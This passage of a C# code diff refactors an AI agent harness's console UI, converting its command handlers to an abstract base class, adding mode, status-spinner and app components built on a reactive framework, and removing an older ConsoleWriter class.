+            Console.Write(AnsiEscapes.MoveCursor(customOptionY, cursorCol));
+        }
+    }
+}
@@ -5,24 +5,25 @@ using Microsoft.Agents.AI;
 namespace Harness.Shared.Console.Commands;

 /// <summary>
-/// Handles a console command (e.g., /todos, /mode). Command handlers are checked
-/// in order before user input is sent to the agent. The first handler that
-/// accepts the input prevents further handlers from being checked.
+/// Base class for console command handlers (e.g., /todos, /mode). Command handlers
+/// are checked in order before user input is sent to the agent. The first handler
+/// that accepts the input prevents further handlers from being checked.
 /// </summary>
-public interface ICommandHandler
+public abstract class CommandHandler
 {
    /// <summary>
-    /// Gets the help text for this command, displayed in the console header.
+    /// Gets the help text for this command, displayed in the mode-and-help bar.
    /// Returns <see langword="null"/> if the command is not currently available.
    /// </summary>
    /// <returns>Help text like <c>"/todos (show todo list)"</c>, or <see langword="null"/>.</returns>
-    string? GetHelpText();
+    public abstract string? GetHelpText();

    /// <summary>
    /// Attempts to handle the given user input.
    /// </summary>
    /// <param name="input">The raw user input string.</param>
    /// <param name="session">The current agent session.</param>
+    /// <param name="ux">The UX container for rendering output.</param>
    /// <returns><see langword="true"/> if this handler handled the input; <see langword="false"/> otherwise.</returns>
-    ValueTask<bool> TryHandleAsync(string input, AgentSession session);
+    public abstract ValueTask<bool> TryHandleAsync(string input, AgentSession session, HarnessUXContainer ux);
 }
@@ -7,7 +7,7 @@ namespace Harness.Shared.Console.Commands;
 /// <summary>
 /// Handles the <c>/mode</c> command to display or switch the current agent mode.
 /// </summary>
-internal sealed class ModeCommandHandler : ICommandHandler
+internal sealed class ModeCommandHandler : CommandHandler
 {
    private readonly AgentModeProvider? _modeProvider;
    private readonly IReadOnlyDictionary<string, ConsoleColor>? _modeColors;
@@ -24,28 +24,28 @@ internal sealed class ModeCommandHandler : ICommandHandler
    }

    /// <inheritdoc/>
-    public string? GetHelpText() => this._modeProvider is not null ? "/mode [plan|execute] (show or switch mode)" : null;
+    public override string? GetHelpText() => this._modeProvider is not null ? "/mode [plan|execute] (show or switch mode)" : null;

    /// <inheritdoc/>
-    public ValueTask<bool> TryHandleAsync(string input, AgentSession session)
+    public override async ValueTask<bool> TryHandleAsync(string input, AgentSession session, HarnessUXContainer ux)
    {
        if (!input.StartsWith("/mode ", StringComparison.OrdinalIgnoreCase) && !input.Equals("/mode", StringComparison.OrdinalIgnoreCase))
        {
-            return ValueTask.FromResult(false);
+            return false;
        }

        if (this._modeProvider is null)
        {
-            System.Console.WriteLine("AgentModeProvider is not available.");
-            return ValueTask.FromResult(true);
+            await ux.WriteInfoLineAsync("AgentModeProvider is not available.").ConfigureAwait(false);
+            return true;
        }

        string[] parts = input.Split(' ', 2, StringSplitOptions.RemoveEmptyEntries | StringSplitOptions.TrimEntries);
        if (parts.Length < 2)
        {
            string current = this._modeProvider.GetMode(session);
-            System.Console.WriteLine($"\n  Current mode: {current}\n");
-            return ValueTask.FromResult(true);
+            await ux.WriteInfoLineAsync($"Current mode: {current}").ConfigureAwait(false);
+            return true;
        }

        string newMode = parts[1];
@@ -53,17 +53,14 @@ internal sealed class ModeCommandHandler : ICommandHandler
        try
        {
            this._modeProvider.SetMode(session, newMode);
-            System.Console.ForegroundColor = ConsoleWriter.GetModeColor(newMode, this._modeColors);
-            System.Console.WriteLine($"\n  Switched to {newMode} mode.\n");
-            System.Console.ResetColor();
+            ux.CurrentMode = newMode;
+            await ux.WriteInfoLineAsync($"Switched to {newMode} mode.", ModeColors.Get(newMode, this._modeColors)).ConfigureAwait(false);
        }
        catch (ArgumentException ex)
        {
-            System.Console.ForegroundColor = ConsoleColor.Red;
-            System.Console.WriteLine($"\n  {ex}\n");
-            System.Console.ResetColor();
+            await ux.WriteInfoLineAsync(ex.Message, ConsoleColor.Red).ConfigureAwait(false);
        }

-        return ValueTask.FromResult(true);
+        return true;
    }
 }
@@ -7,7 +7,7 @@ namespace Harness.Shared.Console.Commands;
 /// <summary>
 /// Handles the <c>/todos</c> command to display the current todo list.
 /// </summary>
-internal sealed class TodoCommandHandler : ICommandHandler
+internal sealed class TodoCommandHandler : CommandHandler
 {
    private readonly TodoProvider? _todoProvider;

@@ -21,10 +21,10 @@ internal sealed class TodoCommandHandler : ICommandHandler
    }

    /// <inheritdoc/>
-    public string? GetHelpText() => this._todoProvider is not null ? "/todos (show todo list)" : null;
+    public override string? GetHelpText() => this._todoProvider is not null ? "/todos (show todo list)" : null;

    /// <inheritdoc/>
-    public async ValueTask<bool> TryHandleAsync(string input, AgentSession session)
+    public override async ValueTask<bool> TryHandleAsync(string input, AgentSession session, HarnessUXContainer ux)
    {
        if (!input.Equals("/todos", StringComparison.OrdinalIgnoreCase))
        {
@@ -33,34 +33,28 @@ internal sealed class TodoCommandHandler : ICommandHandler

        if (this._todoProvider is null)
        {
-            System.Console.WriteLine("TodoProvider is not available.");
+            await ux.WriteInfoLineAsync("TodoProvider is not available.").ConfigureAwait(false);
            return true;
        }

        var todos = await this._todoProvider.GetAllTodosAsync(session).ConfigureAwait(false);
        if (todos.Count == 0)
        {
-            System.Console.WriteLine("\n  No todos yet.\n");
+            await ux.WriteInfoLineAsync("No todos yet.").ConfigureAwait(false);
            return true;
        }

-        System.Console.WriteLine();
-        System.Console.WriteLine("  ── Todo List ──");
+        await ux.WriteInfoLineAsync("── Todo List ──").ConfigureAwait(false);
        foreach (var item in todos)
        {
            string status = item.IsComplete ? "✓" : "○";
-            System.Console.ForegroundColor = item.IsComplete ? ConsoleColor.DarkGray : ConsoleColor.White;
-            System.Console.Write($"  [{status}] #{item.Id} {item.Title}");
-            if (!string.IsNullOrWhiteSpace(item.Description))
-            {
-                System.Console.Write($" — {item.Description}");
-            }
-
-            System.Console.WriteLine();
+            ConsoleColor color = item.IsComplete ? ConsoleColor.DarkGray : ConsoleColor.White;
+            string description = string.IsNullOrWhiteSpace(item.Description)
+                ? string.Empty
+                : $" — {item.Description}";
+            await ux.WriteInfoLineAsync($"[{status}] #{item.Id} {item.Title}{description}", color).ConfigureAwait(false);
        }

-        System.Console.ResetColor();
-        System.Console.WriteLine();
        return true;
    }
 }
@@ -0,0 +1,71 @@
+// Copyright (c) Microsoft. All rights reserved.
+
+using Harness.ConsoleReactiveComponents;
+using Harness.ConsoleReactiveFramework;
+
+namespace Harness.Shared.Console.Components;
+
+/// <summary>
+/// Props for <see cref="AgentModeAndHelp"/>.
+/// </summary>
+public record AgentModeAndHelpProps : ConsoleReactiveProps
+{
+    /// <summary>Gets or sets the current mode name (e.g. "plan", "execute"), or <see langword="null"/> if no mode is active.</summary>
+    public string? Mode { get; set; }
+
+    /// <summary>Gets or sets the foreground color for the mode label.</summary>
+    public ConsoleColor? ModeColor { get; set; }
+
+    /// <summary>Gets or sets the help text to display (e.g. available commands and exit info).</summary>
+    public string? HelpText { get; set; }
+}
+
+/// <summary>
+/// A component that renders a single fixed line below the bottom rule showing
+/// the current agent mode (in the mode colour) and available commands (in dark grey).
+/// </summary>
+public class AgentModeAndHelp : ConsoleReactiveComponent<AgentModeAndHelpProps, ConsoleReactiveState>
+{
+    /// <summary>
+    /// Calculates the height of the component.
+    /// </summary>
+    /// <param name="props">The component props.</param>
+    /// <returns>1 if there is content to display; otherwise 0.</returns>
+    public static int CalculateHeight(AgentModeAndHelpProps props) =>
+        (props.Mode is not null || !string.IsNullOrEmpty(props.HelpText)) ? 1 : 0;
+
+    /// <inheritdoc />
+    public override void RenderCore(AgentModeAndHelpProps props, ConsoleReactiveState state)
+    {
+        if (props.Mode is null && string.IsNullOrEmpty(props.HelpText))
+        {
+            return;
+        }
+
+        System.Console.Write(AnsiEscapes.SaveCursor);
+        System.Console.Write(AnsiEscapes.MoveAndEraseLine(this.Y));
+
+        bool hasMode = props.Mode is not null;
+
+        if (hasMode)
+        {
+            if (props.ModeColor.HasValue)
+            {
+                System.Console.Write(AnsiEscapes.SetForegroundColor(props.ModeColor.Value));
+            }
+
+            System.Console.Write($" [{props.Mode}]");
+            System.Console.Write(AnsiEscapes.ResetAttributes);
+        }
+
+        if (!string.IsNullOrEmpty(props.HelpText))
+        {
+            string prefix = hasMode ? "  " : " ";
+            System.Console.Write(AnsiEscapes.SetForegroundColor(ConsoleColor.DarkGray));
+            System.Console.Write($"{prefix}{props.HelpText}");
+            System.Console.Write(AnsiEscapes.ResetAttributes);
+        }
+
+        System.Console.Write(AnsiEscapes.RestoreCursor);
+    }
+}
@@ -0,0 +1,120 @@
+// Copyright (c) Microsoft. All rights reserved.
+
+using Harness.ConsoleReactiveComponents;
+using Harness.ConsoleReactiveFramework;
+
+namespace Harness.Shared.Console.Components;
+
+/// <summary>
+/// Props for <see cref="AgentStatus"/>.
+/// </summary>
+public record AgentStatusProps : ConsoleReactiveProps
+{
+    /// <summary>Gets or sets a value indicating whether the spinner is visible.</summary>
+    public bool ShowSpinner { get; set; }
+
+    /// <summary>Gets or sets the formatted token usage text to display.</summary>
+    public string? UsageText { get; set; }
+}
+
+/// <summary>
+/// State for <see cref="AgentStatus"/>.
+/// </summary>
+/// <param name="SpinnerIndex">The current spinner animation frame index.</param>
+public record AgentStatusState(int SpinnerIndex = 0) : ConsoleReactiveState;
+
+/// <summary>
+/// A component that renders a single-line agent status bar with an animated spinner
+/// and token usage statistics. Positioned above the rule in the non-scrolling area.
+/// </summary>
+public class AgentStatus : ConsoleReactiveComponent<AgentStatusProps, AgentStatusState>, IDisposable
+{
+    private static readonly string[] s_spinnerFrames =
+    [
+        "⠋", "⠙", "⠹", "⠸", "⠼", "⠴", "⠦", "⠧", "⠇", "⠏",
+    ];
+
+    private readonly Timer _timer;
+
+    /// <summary>
+    /// Initializes a new instance of the <see cref="AgentStatus"/> class.
+    /// </summary>
+    public AgentStatus()
+    {
+        this.State = new AgentStatusState();
+        this._timer = new Timer(this.OnTimerTick, null, TimeSpan.Zero, TimeSpan.FromMilliseconds(100));
+    }
+
+    /// <summary>
+    /// Calculates the height of the agent status component.
+    /// </summary>
+    /// <param name="props">The component props.</param>
+    /// <returns>1 if the spinner or usage text is visible; otherwise 0.</returns>
+    public static int CalculateHeight(AgentStatusProps props)
+    {
+        return (props.ShowSpinner || !string.IsNullOrEmpty(props.UsageText)) ? 1 : 0;
+    }
+
+    /// <summary>
+    /// Disposes the internal spinner timer.
+    /// </summary>
+    public void Dispose()
+    {
+        this.Dispose(true);
+        GC.SuppressFinalize(this);
+    }
+
+    /// <summary>
+    /// Releases managed resources.
+    /// </summary>
+    /// <param name="disposing"><c>true</c> to release managed resources.</param>
+    protected virtual void Dispose(bool disposing)
+    {
+        if (disposing)
+        {
+            this._timer.Dispose();
+        }
+    }
+
+    /// <inheritdoc />
+    public override void RenderCore(AgentStatusProps props, AgentStatusState state)
+    {
+        if (!props.ShowSpinner && string.IsNullOrEmpty(props.UsageText))
+        {
+            return;
+        }
+
+        System.Console.Write(AnsiEscapes.SaveCursor);
+        System.Console.Write(AnsiEscapes.MoveAndEraseLine(this.Y));
+
+        if (props.ShowSpinner)
+        {
+            string frame = s_spinnerFrames[state.SpinnerIndex];
+            System.Console.Write(AnsiEscapes.SetForegroundColor(ConsoleColor.Cyan));
+            System.Console.Write($" {frame} ");
+            System.Console.Write(AnsiEscapes.ResetAttributes);
+        }
+        else
+        {
+            System.Console.Write("   ");
+        }
+
+        if (!string.IsNullOrEmpty(props.UsageText))
+        {
+            System.Console.Write(AnsiEscapes.SetForegroundColor(ConsoleColor.DarkGray));
+            System.Console.Write(props.UsageText);
+            System.Console.Write(AnsiEscapes.ResetAttributes);
+        }
+
+        System.Console.Write(AnsiEscapes.RestoreCursor);
+    }
+
+    private void OnTimerTick(object? timerState)
+    {
+        if (this.Props is { ShowSpinner: true })
+        {
+            int nextIndex = ((this.State?.SpinnerIndex ?? 0) + 1) % s_spinnerFrames.Length;
+            this.SetState(new AgentStatusState(nextIndex));
+        }
+    }
+}
@@ -1,278 +0,0 @@
-// Copyright (c) Microsoft. All rights reserved.
-
-using Spectre.Console;
-
-namespace Harness.Shared.Console;
-
-/// <summary>
-/// Centralizes all console output and spinner management for the harness console.
-/// Observers write through this class so the spinner is automatically paused before output.
-/// </summary>
-public sealed class ConsoleWriter : IDisposable
-{
-    private readonly Spinner _spinner = new();
-    private readonly IReadOnlyDictionary<string, ConsoleColor>? _modeColors;
-
-    private bool _lastWasText;
-    private bool _hasReceivedAnyText;
-
-    /// <summary>
-    /// Initializes a new instance of the <see cref="ConsoleWriter"/> class.
-    /// </summary>
-    /// <param name="modeColors">Optional mapping of mode names to console colors.</param>
-    public ConsoleWriter(IReadOnlyDictionary<string, ConsoleColor>? modeColors = null)
-    {
-        this._modeColors = modeColors;
-    }
-
-    /// <summary>
-    /// Gets or sets the current agent mode (e.g., "plan", "execute").
-    /// Used to determine the console color for mode-prefixed output.
-    /// </summary>
-    public string? CurrentMode { get; set; }
-
-    /// <summary>
-    /// Writes the agent response header (e.g., "[plan] Agent: ") and starts the spinner.
-    /// </summary>
-    public void WriteResponseHeader()
-    {
-        if (this.CurrentMode is not null)
-        {
-            System.Console.ForegroundColor = GetModeColor(this.CurrentMode, this._modeColors);
-            System.Console.Write($"\n[{this.CurrentMode}] Agent: ");
-        }
-        else
-        {
-            System.Console.Write("\nAgent: ");
-        }
-
-        this._lastWasText = true;
-        this._hasReceivedAnyText = false;
-        this._spinner.Start();
-    }
-
-    /// <summary>
-    /// Writes informational output with automatic prefix spacing, without a trailing newline.
-    /// Use when continuation content will be appended on the same line.
-    /// </summary>
-    /// <param name="text">The informational text to write (without leading newline/indent — added automatically).</param>
-    /// <param name="color">Optional console color for the text.</param>
-    public async Task WriteInfoAsync(string text, ConsoleColor? color = null)
-    {
-        await this.WriteInfoCoreAsync(text, color, newLine: false);
-    }
-
-    /// <summary>
-    /// Writes informational output with automatic prefix spacing, followed by a newline.
-    /// </summary>
-    /// <param name="text">The informational text to write (without leading newline/indent — added automatically).</param>
-    /// <param name="color">Optional console color for the text.</param>
-    public async Task WriteInfoLineAsync(string text, ConsoleColor? color = null)
-    {
-        await this.WriteInfoCoreAsync(text, color, newLine: true);
-    }
-
-    private async Task WriteInfoCoreAsync(string text, ConsoleColor? color, bool newLine)
-    {
-        await this._spinner.StopAsync();
-
-        string prefix = this._lastWasText ? "\n\n  " : "  ";
-        this._lastWasText = false;
-
-        System.Console.ForegroundColor = color ?? GetModeColor(this.CurrentMode, this._modeColors);
-
-        if (newLine)
-        {
-            System.Console.WriteLine(prefix + text);
-        }
-        else
-        {
-            System.Console.Write(prefix + text);
-        }
-
-        System.Console.ForegroundColor = GetModeColor(this.CurrentMode, this._modeColors);
-
-        this._spinner.Start();
-    }
-
-    /// <summary>
-    /// Writes text output from the agent, managing line break state.
-    /// Ensures a newline is written before the first text output.
-    /// </summary>
-    /// <param name="text">The text to write.</param>
-    /// <param name="color">Optional console color override for this text.</param>
-    public async Task WriteTextAsync(string text, ConsoleColor? color = null)
-    {
-        await this._spinner.StopAsync();
-
-        if (!this._lastWasText)
-        {
-            System.Console.Write("\n");
-            this._lastWasText = true;
-        }
-
-        this._hasReceivedAnyText = true;
-
-        if (color.HasValue)
-        {
-            System.Console.ForegroundColor = color.Value;
-        }
-
-        System.Console.Write(text);
-
-        if (color.HasValue)
-        {
-            System.Console.ForegroundColor = GetModeColor(this.CurrentMode, this._modeColors);
-        }
-
-        this._spinner.Start();
-    }
-
-    /// <summary>
-    /// Reads a line of input from the console, pausing the spinner while waiting for input.
-    /// Optionally displays a prompt before reading. The prompt is rendered between
-    /// two horizontal rules for visual clarity.
-    /// </summary>
-    /// <param name="prompt">Optional prompt text to display before reading input.</param>
-    /// <param name="promptColor">Optional console color for the prompt text.</param>
-    /// <returns>The line read from the console, or <c>null</c> if no input is available.</returns>
-    public async Task<string?> ReadLineAsync(string? prompt = null, ConsoleColor? promptColor = null)
-    {
-        await this._spinner.StopAsync();
-
-        if (prompt is not null)
-        {
-            System.Console.WriteLine();
-            AnsiConsole.Write(this.CreateModeRule());
-
-            if (promptColor.HasValue)
-            {
-                System.Console.ForegroundColor = promptColor.Value;
-            }
-
-            System.Console.Write($"  {prompt}");
-
-            if (promptColor.HasValue)
-            {
-                System.Console.ForegroundColor = GetModeColor(this.CurrentMode, this._modeColors);
-            }
-        }
-
-        string? input = System.Console.ReadLine();
-
-        if (prompt is not null)
-        {
-            AnsiConsole.Write(this.CreateModeRule());
-        }
-
-        this._lastWasText = false;
-        return input;
-    }
-
-    /// <summary>
-    /// Presents a selection prompt with the given choices, plus an option to type a custom response.
-    /// Uses Spectre.Console <see cref="SelectionPrompt{T}"/> for interactive arrow-key selection.
-    /// </summary>
-    /// <param name="title">The title/question displayed above the selection list.</param>
-    /// <param name="choices">The list of choices to present.</param>
-    /// <returns>The selected choice text, or the custom-typed response.</returns>
-    public async Task<string> ReadSelectionAsync(string title, IList<string> choices)
-    {
-        await this._spinner.StopAsync();
-
-        AnsiConsole.Write(this.CreateModeRule());
-
-        const string FreeformOption = "✏️  Type a custom response...";
-        var allChoices = choices.Concat([FreeformOption]).ToList();
-
-        var prompt = new SelectionPrompt<string>()
-            .Title($"  [bold]{Markup.Escape(title)}[/]")
-            .PageSize(10)
-            .AddChoices(allChoices);
-
-        string selection = AnsiConsole.Prompt(prompt);
-
-        if (selection == FreeformOption)
-        {
-            var textPrompt = new TextPrompt<string>("  [grey]Response:[/]");
-            selection = AnsiConsole.Prompt(textPrompt);
-        }
-
-        AnsiConsole.MarkupLine($"  [dim]→ {Markup.Escape(selection)}[/]");
-        AnsiConsole.Write(this.CreateModeRule());
-
-        this._lastWasText = false;
-        return selection;
-    }
-
-    /// <summary>
-    /// Writes the stream-complete footer (handles "no text response" fallback, resets color).
-    /// </summary>
-    public async Task WriteStreamFooterAsync(bool hasFollowUpMessages)
-    {
-        await this._spinner.StopAsync();
-
-        if (!this._hasReceivedAnyText && !hasFollowUpMessages)
-        {
-            System.Console.ForegroundColor = ConsoleColor.DarkYellow;
-            System.Console.Write("\n  (no text response from agent)");
-        }
-
-        System.Console.ResetColor();
-        System.Console.WriteLine();
-    }
-
-    /// <inheritdoc/>
-    public void Dispose()
-    {
-        this._spinner.Dispose();
-    }
-
-    /// <summary>
-    /// Gets the console color associated with a mode name, using the provided color map.
-    /// </summary>
-    internal static ConsoleColor GetModeColor(string? mode, IReadOnlyDictionary<string, ConsoleColor>? modeColors = null)
-    {
-        if (mode is null)
-        {
-            return ConsoleColor.Gray;
-        }
-
-        if (modeColors is not null && modeColors.TryGetValue(mode, out var color))
-        {
-            return color;
-        }
-
-        return ConsoleColor.Gray;
-    }
-
-    /// <summary>
-    /// Creates a <see cref="Rule"/> styled with the current mode color.
-    /// </summary>
-    internal Rule CreateModeRule()
-    {
-        var spectreColor = ToSpectreColor(GetModeColor(this.CurrentMode, this._modeColors));
-        return new Rule().RuleStyle(new Style(spectreColor));
-    }
-
-    internal static Color ToSpectreColor(ConsoleColor consoleColor) => consoleColor switch
-    {
-        ConsoleColor.Black => Color.Black,
-        ConsoleColor.DarkBlue => Color.Blue,
-        ConsoleColor.DarkGreen => Color.Green,
-        ConsoleColor.DarkCyan => Color.Teal,
-        ConsoleColor.DarkRed => Color.Red,
-        ConsoleColor.DarkMagenta => Color.Purple,
-        ConsoleColor.DarkYellow => Color.Olive,
-        ConsoleColor.Gray => Color.Silver,
-        ConsoleColor.DarkGray => Color.Grey,
-        ConsoleColor.Blue => Color.Blue1,
-        ConsoleColor.Green => Color.Green1,
-        ConsoleColor.Cyan => Color.Aqua,
-        ConsoleColor.Red => Color.Red1,
-        ConsoleColor.Magenta => Color.Fuchsia,
-        ConsoleColor.Yellow => Color.Yellow,
-        ConsoleColor.White => Color.White,
-        _ => Color.Silver,
-    };
-}
@@ -0,0 +1,553 @@
+// Copyright (c) Microsoft. All rights reserved.
+
+using Harness.ConsoleReactiveComponents;
+using Harness.ConsoleReactiveFramework;
+using Harness.Shared.Console.Components;
+
+namespace Harness.Shared.Console;
+
+/// <summary>
+/// Determines which component is shown in the bottom panel.
+/// </summary>
+public enum BottomPanelMode
+{
+    /// <summary>Show the text input component for user input.</summary>
+    TextInput,
+
+    /// <summary>Show the list selection component for interactive prompts.</summary>
+    ListSelection,
+
+    /// <summary>Show a disabled input indicator during agent streaming.</summary>
+    Streaming,
+}
+
+/// <summary>
+/// Event arguments for the <see cref="HarnessAppComponent.InputSubmitted"/> event.
+/// </summary>
+public sealed class InputSubmittedEventArgs : EventArgs
+{
+    /// <summary>
+    /// Initializes a new instance of the <see cref="InputSubmittedEventArgs"/> class.
+    /// </summary>
+    /// <param name="text">The submitted text.</param>
+    /// <param name="mode">The bottom panel mode in which the input was submitted.</param>
+    public InputSubmittedEventArgs(string text, BottomPanelMode mode)
+    {
+        this.Text = text;
+        this.Mode = mode;
+    }
+
+    /// <summary>Gets the submitted text.</summary>
+    public string Text { get; }
+
+    /// <summary>Gets the bottom panel mode in which the input was submitted.</summary>
+    public BottomPanelMode Mode { get; }
+}
+
+/// <summary>
+/// Props for <see cref="HarnessAppComponent"/>.
+/// </summary>
+public record HarnessAppComponentProps : ConsoleReactiveProps
+{
+    /// <summary>Gets or sets the list selection choices (for ListSelection mode).</summary>
+    public IReadOnlyList<string> Items { get; set; } = Array.Empty<string>();
+
+    /// <summary>Gets or sets the scroll items (output entries) to render in the scroll panel.</summary>
+    public IReadOnlyList<object> ScrollItems { get; set; } = [];
+
+    /// <summary>Gets or sets the bottom panel mode.</summary>
+    public BottomPanelMode Mode { get; set; } = BottomPanelMode.TextInput;
+
+    /// <summary>Gets or sets the prompt string for text input mode.</summary>
+    public string Prompt { get; set; } = "You: ";
+
+    /// <summary>Gets or sets the placeholder text shown when the input is empty.</summary>
+    public string Placeholder { get; set; } = "";
+
+    /// <summary>Gets or sets the highlight color for the active list item.</summary>
+    public ConsoleColor ListHighlightColor { get; set; } = ConsoleColor.Cyan;
+
+    /// <summary>Gets or sets the placeholder text for the custom text input option in the list.</summary>
+    public string? ListCustomTextPlaceholder { get; set; }
+
+    /// <summary>Gets or sets the foreground color for the rule borders and mode label.</summary>
+    public ConsoleColor? ModeColor { get; set; }
+
+    /// <summary>Gets or sets the current mode name displayed below the bottom rule (e.g. "plan").</summary>
+    public string? ModeText { get; set; }
+
+    /// <summary>Gets or sets the help text displayed below the bottom rule (available commands).</summary>
+    public string? HelpText { get; set; }
+
+    /// <summary>Gets or sets the title text displayed above the list selection (for interactive prompts).</summary>
+    public string? ListTitle { get; set; }
+
+    /// <summary>Gets or sets a value indicating whether input is enabled during streaming.</summary>
+    public bool InputEnabled { get; set; }
+
+    /// <summary>Gets or sets the prompt to show during streaming when input is disabled.</summary>
+    public string StreamingPrompt { get; set; } = "(agent is running...)";
+
+    /// <summary>Gets or sets a value indicating whether the agent status spinner is visible.</summary>
+    public bool ShowSpinner { get; set; }
+
+    /// <summary>Gets or sets the formatted token usage text to display in the status bar.</summary>
+    public string? UsageText { get; set; }
+
+    /// <summary>Gets or sets the queued input items to display above the rule.</summary>
+    public IReadOnlyList<object> QueuedItems { get; set; } = [];
+}
+
+/// <summary>
+/// Internal state for <see cref="HarnessAppComponent"/>.
+/// </summary>
+public record HarnessAppComponentState : ConsoleReactiveState
+{
+    /// <summary>Gets the selected index in list selection mode.</summary>
+    public int SelectedIndex { get; init; }
+
+    /// <summary>Gets the current input text being typed.</summary>
+    public string InputText { get; init; } = "";
+
+    /// <summary>Gets the current text being typed into the list's custom text option.</summary>
+    public string ListInputText { get; init; } = "";
+
+    /// <summary>Gets the current console width in columns.</summary>
+    public int ConsoleWidth { get; init; }
+
+    /// <summary>Gets the current console height in rows.</summary>
+    public int ConsoleHeight { get; init; }
+}
+
+/// <summary>
+/// The main application component for the Harness console. Manages the scroll region
+/// and bottom panel (text input, list selection, or streaming indicator), and emits
+/// an <see cref="InputSubmitted"/> event when the user submits text in any mode.
+/// </summary>
+public class HarnessAppComponent : ConsoleReactiveComponent<HarnessAppComponentProps, HarnessAppComponentState>, IDisposable
+{
+    private readonly TopBottomRule _rule = new();
+    private readonly ListSelection _listSelection = new();
+    private readonly TextInput _textInput = new();
+    private readonly TextScrollPanel _textScrollPanel;
+    private readonly TextPanel _textPanel;
+    private readonly TextPanel _queuedPanel;
+    private readonly AgentStatus _agentStatus = new();
+    private readonly AgentModeAndHelp _modeAndHelp = new();
+    private readonly Func<object, string> _renderItem;
+    private bool _resizedSinceLastRender;
+    private bool _deactivated;
+
+    /// <summary>
+    /// Initializes a new instance of the <see cref="HarnessAppComponent"/> class.
+    /// </summary>
+    /// <param name="renderScrollItem">A delegate that renders a single output entry and returns the text to display.</param>
+    public HarnessAppComponent(Func<object, string> renderScrollItem)
+    {
+        this._renderItem = renderScrollItem;
+        this._textScrollPanel = new TextScrollPanel(renderScrollItem);
+        this._textPanel = new TextPanel(renderScrollItem);
+        this._queuedPanel = new TextPanel(renderScrollItem);
+        this.State = new HarnessAppComponentState
+        {
+            ConsoleWidth = System.Console.WindowWidth,
+            ConsoleHeight = System.Console.WindowHeight,
+        };
+        KeyEventListener.Instance.KeyPressed += this.OnKeyPressed;
+        ConsoleResizeListener.Instance.ConsoleResized += this.OnConsoleResized;
+    }
+
+    /// <summary>
+    /// Gets the 1-based row number of the last row in the output scroll region.
+    /// </summary>
+    public int ScrollRegionBottom { get; private set; }
+
+    /// <summary>
+    /// Occurs when the user submits input via Enter, in any mode (text input, list selection,
+    /// or streaming injection). Consumers inspect <see cref="InputSubmittedEventArgs.Mode"/>
+    /// to decide how to handle the submission.
+    /// </summary>
+    public event EventHandler<InputSubmittedEventArgs>? InputSubmitted;
+
+    /// <summary>
+    /// Deactivates the component, resetting the scroll region and unsubscribing from events.
+    /// This method is idempotent and safe to call multiple times.
+    /// </summary>
+    public void Deactivate()
+    {
+        if (this._deactivated)
+        {
+            return;
+        }
+
+        this._deactivated = true;
+        this._agentStatus.Dispose();
+        KeyEventListener.Instance.KeyPressed -= this.OnKeyPressed;
+        ConsoleResizeListener.Instance.ConsoleResized -= this.OnConsoleResized;
+        System.Console.Write(AnsiEscapes.ResetScrollRegion);
+        System.Console.Write(AnsiEscapes.MoveCursor(System.Console.WindowHeight, 1));
+        System.Console.WriteLine();
+    }
+
+    /// <inheritdoc/>
+    public void Dispose()
+    {
+        this.Dispose(true);
+        GC.SuppressFinalize(this);
+    }
+
+    /// <summary>
+    /// Releases managed resources.
+    /// </summary>
+    /// <param name="disposing"><c>true</c> to release managed resources.</param>
+    protected virtual void Dispose(bool disposing)
+    {
+        if (disposing)
+        {
+            this.Deactivate();
+        }
+    }
+
+    private void OnKeyPressed(object? sender, KeyPressEventArgs e)
+    {
+        if (this.Props!.Mode == BottomPanelMode.TextInput)
+        {
+            this.HandleTextInputKey(e);
+        }
+        else if (this.Props.Mode == BottomPanelMode.ListSelection)
+        {
+            this.HandleListSelectionKey(e);
+        }
+        else if (this.Props.Mode == BottomPanelMode.Streaming && this.Props.InputEnabled)
+        {
+            this.HandleStreamingInputKey(e);
+        }
+    }
+
+    private void HandleTextInputKey(KeyPressEventArgs e)
+    {
+        if (e.KeyInfo.Key == ConsoleKey.Enter)
+        {
+            string text = this.State!.InputText;
+            if (string.IsNullOrWhiteSpace(text))
+            {
+                return;
+            }
+
+            this.SetState(this.State with { InputText = "" });
+            this.InputSubmitted?.Invoke(this, new InputSubmittedEventArgs(text, BottomPanelMode.TextInput));
+        }
+        else if (e.KeyInfo.Key == ConsoleKey.Backspace)
+        {
+            if (this.State!.InputText.Length > 0)
+            {
+                this.SetState(this.State with { InputText = this.State.InputText[..^1] });
+            }
+        }
+        else if (e.KeyInfo.KeyChar != '\0' && !char.IsControl(e.KeyInfo.KeyChar))
+        {
+            this.SetState(this.State! with { InputText = this.State.InputText + e.KeyInfo.KeyChar });
+        }
+    }
+
+    private void HandleListSelectionKey(KeyPressEventArgs e)
+    {
+        int maxIndex = this.Props!.Items.Count - 1;
+        if (this.Props.ListCustomTextPlaceholder != null)
+        {
+            maxIndex = this.Props.Items.Count;
+        }
+
+        bool isOnCustomTextOption = this.Props.ListCustomTextPlaceholder != null
+            && this.State!.SelectedIndex == this.Props.Items.Count;
+
+        if (e.KeyInfo.Key == ConsoleKey.UpArrow)
+        {
+            this.SetState(this.State! with { SelectedIndex = Math.Max(0, this.State.SelectedIndex - 1) });
+        }
+        else if (e.KeyInfo.Key == ConsoleKey.DownArrow)
+        {
+            this.SetState(this.State! with { SelectedIndex = Math.Min(maxIndex, this.State.SelectedIndex + 1) });
+        }
+        else if (e.KeyInfo.Key == ConsoleKey.Enter)
+        {
+            string result = isOnCustomTextOption
+                ? this.State!.ListInputText
+                : this.Props.Items[this.State!.SelectedIndex];
+
+            this.SetState(this.State with { ListInputText = "", SelectedIndex = 0 });
+            this.InputSubmitted?.Invoke(this, new InputSubmittedEventArgs(result, BottomPanelMode.ListSelection));
+        }
+        else if (isOnCustomTextOption)
+        {
+            if (e.KeyInfo.Key == ConsoleKey.Backspace)
+            {
+                if (this.State!.ListInputText.Length > 0)
+                {
+                    this.SetState(this.State with { ListInputText = this.State.ListInputText[..^1] });
+                }
+            }
+            else if (e.KeyInfo.KeyChar != '\0' && !char.IsControl(e.KeyInfo.KeyChar))
+            {
+                this.SetState(this.State! with { ListInputText = this.State.ListInputText + e.KeyInfo.KeyChar });
+            }
+        }
+    }
+
+    private void HandleStreamingInputKey(KeyPressEventArgs e)
+    {
+        // During streaming with input enabled, capture text for message injection
+        if (e.KeyInfo.Key == ConsoleKey.Enter)
+        {
+            string text = this.State!.InputText;
+            if (string.IsNullOrWhiteSpace(text))
+            {
+                return;
+            }
+
+            this.SetState(this.State with { InputText = "" });
+            this.InputSubmitted?.Invoke(this, new InputSubmittedEventArgs(text, BottomPanelMode.Streaming));
+        }
